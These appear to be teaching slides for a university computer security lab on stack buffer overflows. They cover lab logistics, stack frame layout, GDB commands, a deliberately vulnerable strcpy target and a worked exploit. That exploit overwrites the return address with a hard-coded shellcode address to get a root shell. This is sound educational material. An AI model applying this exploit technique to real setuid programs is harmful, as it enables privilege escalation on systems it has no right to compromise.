CSE 484 / CSE M 584
Computer Security: Buffer Overflows

TA: Franzi Roesner
franzi@cs.washington.edu
General Lab 1 Guidance

• You should work in groups of 3. (Talk to us if this seems impossible.)
• Make sure you have finalized your group when you sign up for a VM! Make sure you use everyone’s UW id (not CSE id)!
• Talk to us if you have trouble connecting to your VM.
• The referenced readings really help.
General Lab 1 Guidance

• 7 targets and their sources located in `/bin/`
  – Do not change or recompile targets!
• 7 stub sploit files located in `/~sploits/`
  – Make sure your final sploits are built here!
  – As with all data, consider backing up elsewhere 😊
• **Goal:** Cause targets (which run as root) to execute shellcode to get **root shell**.
• Make sure each sploit **references the correct target**!
General Lab 1 Guidance

• We provide the shellcode.
  – Some of “Smashing the Stack for Fun and Profit” describes how it was generated. **You don’t need to do this part.** Just write it into buffer.

• You need to **hard-code addresses** into your solutions. (Don’t use get_sp().)

• **NOP sleds** are needed when you don’t know exact address of your buffer. You’ll know the exact address in this lab.

• Copying will **stop at a null byte** (00) in the buffer.
Lab 1 Deadlines

START EARLY!

Some of the exploits are complex.

Checkpoint deadline (Sploits 1-3): January 25
Final deadline (Sploits 4-7): February 8
## Stack Frame Structure

<table>
<thead>
<tr>
<th>Lower Addresses</th>
<th>Stack Frame Pointer (ESP)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Code executes (and buffer is written) this way</td>
<td>Frame Pointer (EBP)</td>
</tr>
<tr>
<td>Stack grows this way</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Stack Frame</th>
<th>4 bytes (1 word)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Local Variables</td>
<td></td>
</tr>
<tr>
<td>Saved Frame Pointer</td>
<td></td>
</tr>
<tr>
<td>Saved EIP (Return Address)</td>
<td></td>
</tr>
<tr>
<td>Function Arguments</td>
<td></td>
</tr>
<tr>
<td>Local Variables</td>
<td></td>
</tr>
<tr>
<td>Saved Frame Pointer</td>
<td></td>
</tr>
<tr>
<td>Saved EIP (Return Address)</td>
<td></td>
</tr>
<tr>
<td>Function Arguments</td>
<td></td>
</tr>
</tbody>
</table>

- **FuncYon Arguments**
- **Saved EIP (Return Address)**
- **Saved Frame Pointer**
- **Local Variables**
- **Function Arguments**
GDB is your friend

• To execute sploitX and use symbols of targetX:

```
gdb -e sploitX -s /bin/targetX
```

• Then, to set breakpoint in targetX’s main():

```
catch exec   ← Break when exec’d into a new process
run
break main  ← When breaks: Set desired breakpoint
continue    ← Continue running (will break at main())
```
Other Useful GDB Commands

• **step**: execute next source code line
• **next**: step over function
• **stepi**: execute next assembly instruction
• **list**: display source code
• **disassemble**: disassemble specified function
• **x**: inspect memory
  – e.g., 20 words at address: $x\ 20w \ 0xbfffffcd4$
• **info register**: inspect current register values
• **info frame**: info about current stack frame
• **p**: inspect variable
  – e.g., `p &buf` or `p buf`
int foo(char *argv[]) {
    char buf[192];
    strcpy(buf, argv[1]);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "target1: argc != 2\n");
        exit(EXIT_FAILURE);
    }
    foo(argv);
    return 0;
}
Sploit0

• Construct buffer that:
  – Contains shellcode.
  – Exceeds expected size (192).
  – Overwrites return address on stack with address of shellcode.
• Demo: Figuring out what address to write where.
int main(void) {
    char *args[3];
    char *env[1];
    char buf[256]; // at least 192 + 9

    memset(buf, 0x90, sizeof(buf) - 1); // NOPs to make sure no null bytes
    buf[255] = 0; // make sure copying stops when you expect

    memcpy(buf, shellcode, sizeof(shellcode) - 1); // at beginning of buffer
    // overwrite return address (at buf+196)
    // with address of shellcode (start of buffer)
    *(unsigned int *)(buf + 196) = 0xbfffffceu;

    env[0] = NULL;

    if (0 > execve(TARGET, args, env))
        perror("execve failed");

    return 0;
}